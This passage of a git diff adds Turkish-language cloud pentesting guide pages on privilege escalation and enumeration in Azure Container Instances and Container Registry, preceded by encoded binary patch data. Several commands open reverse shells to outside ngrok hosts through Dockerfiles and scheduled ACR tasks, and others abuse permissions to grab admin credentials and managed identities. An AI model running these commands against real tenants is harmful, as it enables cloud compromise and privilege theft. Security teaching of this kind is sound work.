zED0CQU8-Mc6&Z2mX~QkL8a9T?tf6j8f}6ryT&#ZS(&STYYMGHxi{_(c%nQ1Z?)P2I zt&nq{?fgB6Qooa~KUZ5-r^1$#N&2BYlXSi9PU5k1jCMl#dR4_Ph=al7zGgC5WE@gZ z^M3Cq721fZ@cynN)pEi!kfCcdP7uP#=W+_S!sP| zVq!9V6L@0t-S#LUV$lK~*K@fAiB6W164v-WVI5Jp7JeEkzl=F)=RmF=k7XBgf`ENm zwFrRx0+nhfOHKno*?=#@OD(&votHqD8^ET&i&CmZ?f?2&(35{tSKo7yPrKHw2q|?! zzc!(GLXOrmaWbq z_8R4e~m`rlXOqnX;NQm{@al( zaF-d9sL)e%<{jcA*!I@l(E+=6_SHOPVd>WF^T z_bk+H>Muj;HnF?^#y7o$vX2D)sPz#1f6}lVcl=gXwp!MsXm<5h4RTx>J% zC5(jApV~L(`!`;f6hmQ$xDxXY+!6YwhqO5@=b+-mY_5g>{8b@>N_X*FQm?z7OG-*+ z&Yx)~HK*#HqS{=#Fj{FZ;WKN;@uuuIe8|^-l|6MbpIRPQ`RWJYeFA#nbEk0fO1B5f%{%CHiM3iH?|(|J$Hfln zNWMK(+EPx1i@AB?-FddjZ}ztbi&@w{X57Eh>=9JSP|ER*ds0}L1G z!1Ii`imtEP38To0lk3cKPZ<{pI$(4FPsih}y;5U;d|LR$u9G>lNJF8(P7;`_1--It98 zH!YX_6G)o;T)MMSS;t2dpT&#WF%7@=d2OaGm($efok54T+rCnL@~qi5zR`jx58VeX z<2S(wvOVt}eDa~vm(Of|o|q&bI_IozwES>=*xOzup!@T~#g1lJ!5AkjQ3hTcF>3I# zW9z;p)p~K&2)5dXnP{P5;f z>y%@2e^GDp1QW|F@HT?8leamSbVqAk`z3j0WR8oS!ieT&-f`HHMVT+!CvPF!GM#Su zf+u>y0~NB1=QN~3j1YgkU&#K2N8ZfW z>?E237A&$S1N6$1P1RU6xrmn#a}Nw8h<= zLNARZC+RaU(|R0~z*>sF*yGw~Za%LR`&%h|5VJicT1gChen!xo>L_SJ`Dp?0HPT+8 zK8j4YqX7h^OwP6+1wp7-;M=q)cCQ_UQ^G6&z%sV09FIQa9$esz#e98)9E|k6fz*;? z^Il3i3KxywLYQg8or5od{Ch$b!S$gjf@cmhlmAPvAu76{+3`9kIM_o!p5^FU`eIyV z{EM5Pzt_HZw1G0HVBa&rT-5?=R{vsg{~uP<@PDjfKHQK0+uR@-N?aXaC(@z5-PI>Y zM=|o{2|$?CycUrUs4iaHk2uXIyYy;H|HO$CtGKzqI9`YPN3~u2)Xp~yp$bS>#*Gw# zAcub-@OuEOf2P?I$aJ#3I)UwCM~~2a5uFMGmpnfGuMIZ?mMQ zJc!n-a%h1b zo_@W*SCE&3FhN&;ZBID>g61qSZKJ4iSxmI?1V>;R;BYLoBTIJ%=r{%dN!^R_QoG=o z^l~mww>-AmD^j11VJ2F1pe=AEf-Lff-`YVTtdPWN=-P-w32@V zLnZ15j7Exl@)dPxDxufcJ7cv~S6Awfqe~gWpsA$GlK%kkWzv_cjeFMT*Y4UUY5J^U z$emzhgL-}MB@~`s)lN%GE0sqoM!cgmhz984j%jtx`upyWb##_fvrhZJ_5dcoco6K{ z^xGly2D-a!JcZHaciW?VHE+@kSKKLR?Sfg8k4y0=Sd?8YGgWpNN@ZadSt-5Yw;5vQ z)G6&;-1eU9VdGS-aj^+E_g6pZuT>8GOSVJs3~;9w52))Tz>#^L9}_}I9}6#+MZVY^ z#ne@J>uo&xmu2upOaPZ=pBvIxlPktSV3r_z?u$Zyl|SK--3UMh`+{c{h>@8sK(dmJ ziBEB{l7g`f5~JU~d4my3Izr7*Xf)UcNYKO1O}>WUd?%Bf<1yYZCN*P+~D zMpnDnT7gzQkC_$QpUvWz7>tTf685G)GNVWsC)6pWeLM{YbWIC@)V+V2HDWGQB$g!XA&M;K%XZ^PoZ z?kV0xVoczHy?`P}Jh$Fpg!4%x1Yi@kLN4y}MW&xqz!6|-)3dSNIF@kvbKgA-hRs-| z7X!-!MbCS(RL{(~wo?2tPb5+>C~0;@=aE^loh14aCgr%SJa?oeaghld%RNfq_^%~l z-z~*A<%Ez#V&eE<9e9{ogQ%NTpBjwJ9x4Dn&(vl}E^Bc9*QTt4arINW3Jcc9Q8XsA z4+-_}J~=o#mG40jyLOG?K8DArM%c zfDvwJJjvXBgU5{&L3}hyK>decUE%Tzq4SU#gQ6&If>Z~YwDU%dI6!0ESioK9bX^+Z zf!mmjr%ds-{y`zW+ujCAaPHe;=`UA{#XN z@#E$~z}T>&p`opo&$h zxc5*53bsZ;shqD0G;R3Q{L#QQN!0DkaR8B848eKA9Ch&2nEvU0zM zZ*4yK{Vr$ywpnw?Fg~TrQI@$pyRP-B@MKWiBiAu^X>%cBLA%}URe`0@nYOq%V2kEY z(zj}6Dm7%Y0{n}G-CkA63{X+|#!}r$8UZDQ6Vk4B$};(w*!yze8NtZ;6t7Kf_3dB+ z+U%l}0LYyCX)69WP20ZpdAb$61o%a&{RIYb*mQ37*so-s)IjLFb_|=islsR9JAv0y zW#}r=W+Ku~5LgswcTNFIEmPyi9I+T^m{jj(%^a!NwpoT&9YrmR#yHscwJ;sT~aa-DdP=wvtyp6xI7+3 zYMJ|;RH(Pc)d6gdc`+H@IbnBuDq^nnUi<~EPbj4x#pEk2z!p1tphFrz+ow;T?8|9| z?`k0=r2Dt@xE}m9n2+~MMn}=l8N084A@BJ%T2rC(Id^SSmX3_C@s;u)1GO6=3RvG{ zpzs!t_pY0QE!r}6s5yqXxVQ3Xq-gdbo&lDotRVL1=TF5i>sC3Wzh7XWvjIIw z^~s#me>>6#$L*bea3D=XLqj5#4-|MZ+LL}nP{{?@Q_YYefN&Qg>d#_1QEbX-l8;() zwTi@Vp1QT?Pd(+eHEM2+r;Xy!$jxjU;Euk=O#JLmLbW_Z~Rx|2`;2HW--C&)4JZ66dWUamfCM0F`B|7MNV z!ZEY;$lc=?3`x%@Mnk<=!4@YdT$`(Lp>`hAhJp4qi&AIgD`K=y+YtkpCg{)qJ|7=F z)|%x^p^c4amwPnbRAT;R;^=rqO%n?2Y`JM0b2@`g` z%9XrEr{niUKo>=#%F<9=XvSbMD12SUKSqzNIa#m*#eg$8x_~LG^GrO5SCvWSyXrp( zK;&LZsllu8-VsEaWd{oVu%@ZugtC)*szG}xJMC^q;PKBuOr&4 zW+iyGX=eAwfFtN=#T>xV?vI7SqhtwHC{pv^x!S$($b0;f2XG{kLc4iHV1|+a#1{KZ z@e<*Y@Lhe%2@K|RN6?{O&w795$lc(-wm8h!#qjX(9J`q>9p!j_doPWhQk2rtR(eN{ zD?p*qBN&lsWrXu^FCagH3o?OiM;|u9gkVIF>>TL@6q+=G5%1gmE13NMwjgHYEwWO? zhyr`Eu^k4c8)7FeCJq0NoU)-6a9F5kt3_QfelG)7<*{=rC~Uf1I-xq;^B15tKq^2- z3@`NMJt?*7m2Crgj_%Ip;=KJ$ioaOhuT=g&1k3)NWkp{bu6==rK2^nfdY+rtlyCKf zC!D=*(h|v1Y$89O`LdXdO6OGTSrQhx7pyUXYO(JV({k_USTako%ef4;?(F+K{q=fX zr0vzxj$`|)*}V@Vp6$z9p57hHKVG#{wQqT+%wA@wh>VUlQO!{NxVhiK5MJze3>^m* zX@fR?oEP)j43z#xQ+M&u1qV;ic`iDfPG|^hvQfo|L)b@vLS@OxE|)3MFo;Bt`PFi* zK=5z~swCY8B?-ZZRe}Di1#nBtL4Q&&{1oL2HDMVbgAG0bjw%@{rCL*`n zHJAV|t_;ywfagA{i2w6WUv5G;&E>WI7`I^LMTkhz>#!`q*DOmGbR7a=*lo~B^a0$7 ze4?Qt-!KgEmC-^e(?&Ij7TP>Ma|0=)Jpi;so>%}D!>r{LL^@rdrk|=^21pReYNj3v zjyUeIE2jnK8N40~C1WEQXd*@49t~qsU9|f+6uh1NVmKd>1O+<__kM0QabRzSLpvIC zMNL}Sv1^6^D8((RJZ|-{)J2Qa492H6gQF@+!MF~BDp5R`L!&@{6kzJ?uQwSxd{#Xx ziY3sPVVjCkv+NSkS=D?0=|_~W=o~t*80Ek$4c;SWx((4He)IOE9**MQqk+msufw!B zT^yg3bQ{Pdhf8oajCi-(780xmy2lo#rei`87>?=*`56EGM;V_ZK_pfJktZzQ(#j@q z;%^#ifZ~f9FgBo9PP?Qte|j7hSzcdc+$6v6^9!gbmtVU-N;w=bkO_dYLLLcUE(3w# zK>P(`^h+6+ja$>g=|#pctpGZdEDl#-Kg1S6IEZ9nuPbhGcniYY6UPM|rtb;f7`%l0 zcTit&D?y=RY6!+YdAkQOi^{6cI!KTPZvf?YztSqkIy55;K zfO6|=Fs}ySy3M6g>SrWLm)8mAlAw_B(C|t39$7VV4vmuws=*I`-v*}6KJHloT?oPE z=~Z=o{J8{hb67(o{Le!K(d*8UsDP}FL#H%T7t05jurGTMaUIQ@2HYZ{8Z2)-0WjV& zT{gyn5f*z(@dp_9JQ#|X>hz?fq!2j@g50F!7Ah>e-_P~s%`Z+8{~i-8jI|hUgJ0ri zJI{hdR8&-W9A&GWH&Q}aIkCA(9xYwBRFjdFEe6a`dF*^R`@%J(!M|IL{KZuzdd-N< z;7h9Mrs4)>&t>&e9&*fsUm$7@N3T0+{~?^{JJq4j@0G(zXr%^d`4PydAuILIa=qbu zEW85!;72GTCUgvo3v1$?_y?X$Bnn^L`p?h)+~EK27cq;wBBrOObCcd*KJY?F%P5JP zReWO~J#vU*y&QO?$y||9l9UoOZ+iz0_iP%os4oSJ8&}w&?+4-$r3Qr+BKyUkS4KKc z^1AOaPT3VbibEZYLx~c_qr63Z=)-%Dpx2`(s?Ht!J&K46p2hWs|L}(_Xy~P98yvL{ zbvjB9o~0LPbNEA97$9Z;+2R9@g6*dgo>hr6eE7p?44lq1j1JR3Gym^I^0V`+#O-8P z&o;R<>ZDqUcH}qmINNloy}8=ma3Y9Mj(Uzpx$QP+XPp)^^FT-q3+`<$*v;7Z`1sE* zcPc+)A-bB2dLjmOcd7E_r2aOwc@!PA2&Djghiz+D-$znsfou|Z=gX=om&H#T9*2Hv z4)k3{(*bWb7by5XWDj%VD7J$7l8eCS@q2u?*orWhl?~;y8R`L@$>YTd?lmj3em%$V zS0F&oqBWxb+kw+!exNFW!r0b}h*l;r5W_VDbjgKaFb09CzXkjGhXB`)oD9CAxhJ+y zr;@X)HG?|Q^7*y!VmMbx>+_o+)mJ{f-76A%OsDjLKA_u{UIQh2xn(!2E=Xs+ASS-q zDM2_GXW(rq5q$E#K!r>cqXu|QD_>Mbx!{ZG*uzG|BssUSrp+HeMNDW&E?q zM3>0jW|Lh<%tL{Lu6gox>{ZRrBj&KxZgHflJC;+|434TOhZB)P zCeCuaoUj2k13xG{*MF^Ak5-pagFNE~{Sy(NIz9;1PuEU_gUEF>9|T1?;IbQgPuwfdSUrqtth6fJprv@Rcr>d4u?(ZByx#A@WdkyJ(d}Em(EXla(xmdPYf1Ge2jJwWawj-ru^wPCuVo_8-4s<05 zeA)pFOq~Coxj2#LZbHeWR|uvPIhtbuYF?k9(WrNxY&>BN7yuk|u0oOB`@z&uCASUC z-WP(ba4_~yzT}p{9*H=A)&Lo{EnogHWxDpD5CC1ZN45`WK6M=&it!daww7#Qk1qli zW_acETW%eZG<%o7t5P(dymR&;%+$db*B_7EO9q=aGvxVf3SiSujJtT9ye7&G?GW=y zY6U8I5y*-Pcz(4FrdsQRZ}cLV;_Prbk!!?G`sc`2?_?p*zC8?r7psyRYGe;M^=k(} za$^lf<-$jG)kt!ED5d`yod-WkEhYNnFdSKu?d)u8HXmXT@t;N7EQAiWzXa%-#Fv^% z2o95DBf9*JBP4$eR5Nk3)ECXfUP=t6dZEed znhW8OO*o;X#@*!l_3KtCJuNhtSwGjJMHk(5vB<_-o=B#>KAhh=$$$yxK zm|nW3$Rzs0f3|2nmQ?N+b@TZ(BaB94^xk~f3Sx;bB`r>4B7L}`iyHUQyt;d7Bf5dZ z@-rc4ZPa6_@k=l7S2lzNnpAk1wv&*Ojw-$X9{ax6pAq+zD)n6E!c&dMCkgnuHAHIm zzT7=%P@12hQ{7L$n-CDIttg@)bH#hN^4l3Esr9xl_AE>r%A6Dp!3F6uHQ&8p&O_ zLJwP9T)07EA@;#<65R`hXQ>TTojue9A~v{zEd#(Ti+{ndnSv)IZXx=H!L@48 zZspxb5gxR9TktqXv%nTPZpmx=b4dB^K_1`-6IobTs@m{r1Uiug*q?6s$M5|;P5d%( zYquxE5QS*acd?Wph;%0|ox>CeoM zjd{#-wn3x>Qji>7fJz@elX91&vIl&+1#qwkZ?FG$uKw=0wakZI>{t>q05rwG;$v*C zG8-edJqVY)7%V%&)8~S_p#hGcnrFHP@<0eUOVU7?p^^nM-WIl8&Yo9Uq0r;aRr>ih zY?CdOU8~S=o1r2(KHlQWrMxunXl?`H7mL%=CW1ipzgm4yy$L5P4uJQ#gkB2a)i%E8 zP2eyG^JaPLfjNy8*?;!~j;A4a&|e8|f4xxL=I6ka1-x%kvn!J)G5YHZ@ z4r5mR`HMq)K+Q7lG!h(Gx(+IakZHG6QYGxj;mHqiE6@h|DC#rX4pqD1o_TT-q^c#L zhOg8>fD)oSp|k+~YfH7$H=~HFYcdmsU!0Q#?B8HgK~xBDfzUfGRmRT%rntNqXgEqn zcDXU#ASJK}4k5$H<_O!E2p}99bsb;yr@wh)ke58&ggnxDX=ISM-)3X3m#coY*bW!P zm#?w-O$WE!V{_qKyAZhaco=+}8e1Scr>YPsGr02dn8Re_{d`(XF9>ot%3M>NZTVKz zMCa)24Tp(5jtFhnx-KJ$4yR)XXf?+K9f(#M%V)Nn?*)JHBT=k*@LuxX&dweHkU^10@|Y4 zsMEUuP;Iextu#W8+>>H0m=(@V-{l6cmSr%+YuU6570`bo2cM^cLc1$;H7C zfN^X(j_vjzrUKTEZv^^|e16B+&fWZuo@nqY_#2hQBG7U0FMbd8$1)9p%&}#3K1?;x z$ZQdWT(y!h@SsBBr+ja12*9=hbU5}B&znq%ty5JH9Hg4I&a9`w5>{jJW1>=_WcGfs z!5kh^cg|wU%)LekP6aBVJ+~PUW;?8ZsjV`@O)PCSfrA?LSQY$`6t>#Ar6TblTw5)Z z6-CU9G3VMnL`byNWqoUUw>qnKt=r+A8;5m%!s|yy5pK_!PUviFOV5^49Y+ zYRW!v+RW^i0C&ImV9sm{#l&L8)?BtzDxV_7Y&<1s2x$Z+iZviB!=;IPQ!YUqUr259 z{8iDPt4;KyMHA~W>fiH8YemXt=R!t!)h^~edTeWXGhpvP^DyxK&_dKL=|3!VsKtj{ zvz2+yOtcY6<5zXRp#pJDDMU6gykFi(S>n-we>#QfpPfpt(i^i1^5%SA&`Z!uZ~9TK zwAf^&42dLO+Luo_Yud{@{(<^*)(-6RuCs3AGcSERsOhpkha{fN^4d{0eEB(KERF8U zILB%4tY^tOSEa-f=0@$CXvaP~(er&!na$j+EZRLfJ(zbFO~D)*G@pUW9CKi1bUp-exJ7kernD52ZK6&L3cq{Ny-O`A+fXDyP_&_4#X-Hr8pd_7CAg6#To(dOVsRgqHOS ze9q{YrWR+Pm56@y=uyKERnALF4XT_8DRCYbvoBU`k6&IkAFC}|DTxtNJ*~0c2T`vD ze<{wYW%3PWXWkFz1-8}r<$sc=vf;=TWYX&xN-kQAB^Dcbe6Ub{FF)S&(vW9Yu#aa5 zYvUhSNF+MZg=@kby9TJ!?2f8m@OVSQ&Wi_HRt*VTGu^oHYNaD}6z3r+;mPo(H{03n zG`fa{gol<;MOS+_BUaOdEoRVpmZIH06u8YWe zo;}t<96HVC7k_H<6kevLo_!ECe5WWyWco*GFM}kc5O} --resource-group --exec-command 'ls' +``` +Aynı zamanda konteynerin **çıkışını okumak** da mümkündür: +```bash +az container attach --name --resource-group +``` +Veya logları şu şekilde alabilirsiniz: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Bu izinler, bir **kullanıcı yönetilen kimliğini** bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır. + +Bir kullanıcı yönetilen kimliğini bir konteyner grubuna eklemek için: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Bu izinler, **bir kullanıcı yönetilen kimliği** eklenmiş bir **konteyner grubunu oluşturma veya güncelleme** olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Ayrıca, mevcut bir konteyner grubunu güncellemek de mümkündür; örneğin, bir ters shell ile **`--command-line` argümanını** ekleyerek. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..e1920def2 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Daha fazla bilgi için kontrol edin: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Bu izin, kullanıcının ACR'nin yönetici kimlik bilgilerini listelemesine olanak tanır. Bu, kayıt defteri üzerinde **tam erişim elde etmek** için faydalıdır. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +Eğer admin kimlik bilgileri etkin değilse, bunları etkinleştirmek için `Microsoft.ContainerRegistry/registries/write` iznine de ihtiyacınız olacak: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Bu izinler, kullanıcının **kayıt defterine erişmek için şifrelerle yeni bir token oluşturmasına** olanak tanır. + +Aşağıdaki örnekte olduğu gibi `az cli` kullanarak bunu oluşturmak için ayrıca `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` izinlerine de ihtiyacınız olacak. +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Bu izinler, kullanıcının **kayıt defterinde bir görüntü oluşturmasına ve çalıştırmasına** olanak tanır. Bu, konteynerde **kod çalıştırmak için** kullanılabilir. + +>[!WARNING] +> Ancak, görüntü **sandbox ortamında** ve **metadata hizmetine erişim olmadan** çalıştırılacaktır. Bu, konteynerin **örnek metadata'sına** erişimi olmayacağı anlamına gelir, bu nedenle bu, ayrıcalıkları yükseltmek için gerçekten faydalı değildir. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Bu, kayıt defterinde bir görev oluşturma ve güncelleme izni veren ana izindir. Bu, **buna bağlı bir yönetilen kimlik ile bir konteyner içinde bir kodu çalıştırmak için** kullanılabilir. + +Bu, **sistem yönetilen** kimliği ile bir konteynerde bir ters shell çalıştırmanın bir örneğidir: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Bir görevi dış bir depo kullanmadan RCE elde etmenin başka bir yolu, `az acr task create` komutunu `--cmd` bayrağı ile kullanmaktır. Bu, konteynerde bir komut çalıştırmanıza olanak tanır. Örneğin, aşağıdaki komutla bir ters shell çalıştırabilirsiniz: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Sistem yönetilen kimliğini atamak için özel bir izne ihtiyacınız olmadığını unutmayın, ancak bunun önce kayıt defterinde etkinleştirilmiş ve kullanışlı olması için bazı izinler atanmış olması gerekir. + +Ayrıca bir **kullanıcı yönetilen kimliği atamak için** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` iznine ihtiyacınız olacaktır: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Mevcut bir görevin reposunu **güncellemek** için şunları yapabilirsiniz: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +Bu izinle, **görüntüyü azure kayıt defterine içe aktarmak** mümkündür, hatta görüntü yerel olarak mevcut olmasa bile. Ancak, **kayıt defterinde zaten mevcut olan bir etiketle görüntü içe aktaramayacağınızı** unutmayın. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Belirli bir **görüntü etiketini etiketini kaldırmak veya silmek** için aşağıdaki komutu kullanabilirsiniz. Ancak, bunu yapmak için **yeterli izinlere** sahip bir kullanıcı veya token'a ihtiyacınız olacağını unutmayın: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..4eeeeb988 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Temel Bilgiler + +Azure Container Instances (ACI), Azure bulutunda **kapsayıcıları** çalıştırmak için **sunucusuz, talep üzerine bir yol** sunar. **Tekil veya bir grup içinde birden fazla kapsayıcıyı** **dağıtabilirsiniz** ve **ölçeklenebilir hesaplama**, **ağ seçenekleri** ve **diğer Azure hizmetleri** (Depolama, Sanal Ağlar veya Kapsayıcı Kayıtları gibi) ile bağlantı kurma esnekliğine sahip olursunuz. + +**Geçici** iş yükleri oldukları için, temel VM altyapısını yönetmenize gerek yoktur — Azure bunu sizin için halleder. Ancak, **saldırgan güvenlik perspektifi** açısından, **izinler**, **kimlikler**, **ağ yapılandırmaları** ve **loglar** gibi unsurların saldırı yüzeylerini ve potansiyel yanlış yapılandırmaları nasıl ortaya çıkarabileceğini anlamak kritik öneme sahiptir. + +### Yapılandırmalar + +- Bir kapsayıcı oluşturmak için bir genel görüntü, bir Azure Container Registry'den bir kapsayıcı görüntüsü veya bir dış havuz kullanmak mümkündür; bu, erişim için **şifre yapılandırması** gerektirebilir. +- Ağ ile ilgili olarak, **genel IP** veya **özel uç noktalar** olabilir. +- Ayrıca, aşağıdaki gibi yaygın docker ayarlarını yapılandırmak da mümkündür: +- **Ortam değişkenleri** +- **Hacimler** (Azure Files'dan bile) +- **Portlar** +- **CPU ve bellek sınırları** +- **Yeniden başlatma politikası** +- **Yetkili olarak çalıştır** +- **Çalıştırılacak komut satırı** +- ... + +## Sayım + +> [!WARNING] +> ACI'yi sayarken, **ortam değişkenleri**, **ağ detayları** veya **yönetilen kimlikler** gibi hassas yapılandırmaları ortaya çıkarabilirsiniz. Bunları kaydetme veya görüntüleme konusunda dikkatli olun. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..4b8048ba3 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Temel Bilgiler + +Azure Container Registry (ACR), **Azure bulutunda konteyner görüntülerini depolamanıza, yönetmenize ve erişmenize** olanak tanıyan güvenli, özel bir kayıttır. Birçok Azure hizmetiyle sorunsuz bir şekilde entegre olur ve ölçeklenebilir otomatik yapı ve dağıtım iş akışları sağlar. Coğrafi çoğaltma ve güvenlik açığı taraması gibi özelliklerle, ACR, konteynerleştirilmiş uygulamalar için kurumsal düzeyde güvenlik ve uyumluluk sağlamaya yardımcı olur. + +### İzinler + +Bir Container Registry üzerinde verilebilecek **farklı izinler** [belgelere göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): + +- Erişim Kaynak Yöneticisi +- Kayıt oluşturma/silme +- Görüntü yükleme +- Görüntü indirme +- Görüntü verilerini silme +- Politika değiştirme +- Görüntüleri imzalama + +Ayrıca atanabilecek bazı **yerleşik roller** vardır ve **özel roller** oluşturmak da mümkündür. + +![]() + +### Kimlik Doğrulama + +> [!WARNING] +> Kayıt adında büyük harfler bulunsa bile, her zaman **küçük harfler** kullanarak giriş yapmanız, görüntü yüklemeniz ve indirmeniz çok önemlidir. + +ACR'ye kimlik doğrulamak için 4 yol vardır: + +- **Entra ID ile**: Bu, ACR'ye kimlik doğrulamak için **varsayılan** yoldur. ACR'ye kimlik doğrulamak için **`az acr login`** komutunu kullanır. Bu komut, **`~/.docker/config.json`** dosyasında **kimlik bilgilerini saklar**. Ayrıca, bu komutu bir **bulut kabuğu** gibi bir docker soketine erişimi olmayan bir ortamda çalıştırıyorsanız, ACR'ye kimlik doğrulamak için **`--expose-token`** bayrağını kullanarak **token** almanız mümkündür. Ardından kimlik doğrulamak için kullanıcı adı olarak `00000000-0000-0000-0000-000000000000` kullanmalısınız: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Bir yönetici hesabı ile**: Yönetici kullanıcı varsayılan olarak devre dışıdır, ancak etkinleştirilebilir ve ardından kayıt defterine tam izinlerle yönetici hesabının **kullanıcı adı** ve **şifresi** ile erişim sağlanabilir. Bazı Azure hizmetleri bunu kullandığı için bu hala desteklenmektedir. Bu kullanıcı için **2 şifre** oluşturulur ve her ikisi de geçerlidir. Bunu `az acr update -n --admin-enabled true` ile etkinleştirebilirsiniz. Kullanıcı adının genellikle kayıt adı olduğunu unutmayın (ve `admin` değildir). +- **Bir token ile**: Kayıt defterine erişmek için **belirli bir `scope map`** (izinler) ile bir **token** oluşturmak mümkündür. Ardından, bu token adını kullanıcı adı olarak ve oluşturulan şifrelerden birini kullanarak kayıt defterine kimlik doğrulamak için `docker login -u -p aregistry-url>` komutunu kullanabilirsiniz. +- **Bir Hizmet Prensibi ile**: Bir **hizmet prensibi** oluşturmak ve görüntüleri çekmek için **`AcrPull`** gibi bir rol atamak mümkündür. Ardından, SP appId'sini kullanıcı adı olarak ve oluşturulan bir gizli anahtarı şifre olarak kullanarak **kayıt defterine giriş yapmak** mümkün olacaktır. + +Kayıt defterine erişim sağlayan bir SP oluşturmak için [belgelerden](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) örnek bir komut dosyası: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Şifreleme + +Sadece **Premium SKU**, görüntüler ve diğer nesneler için **veri dinleniminde şifreleme** desteği sunar. + +### Ağ + +Sadece **Premium SKU**, **özel uç noktalar** destekler. 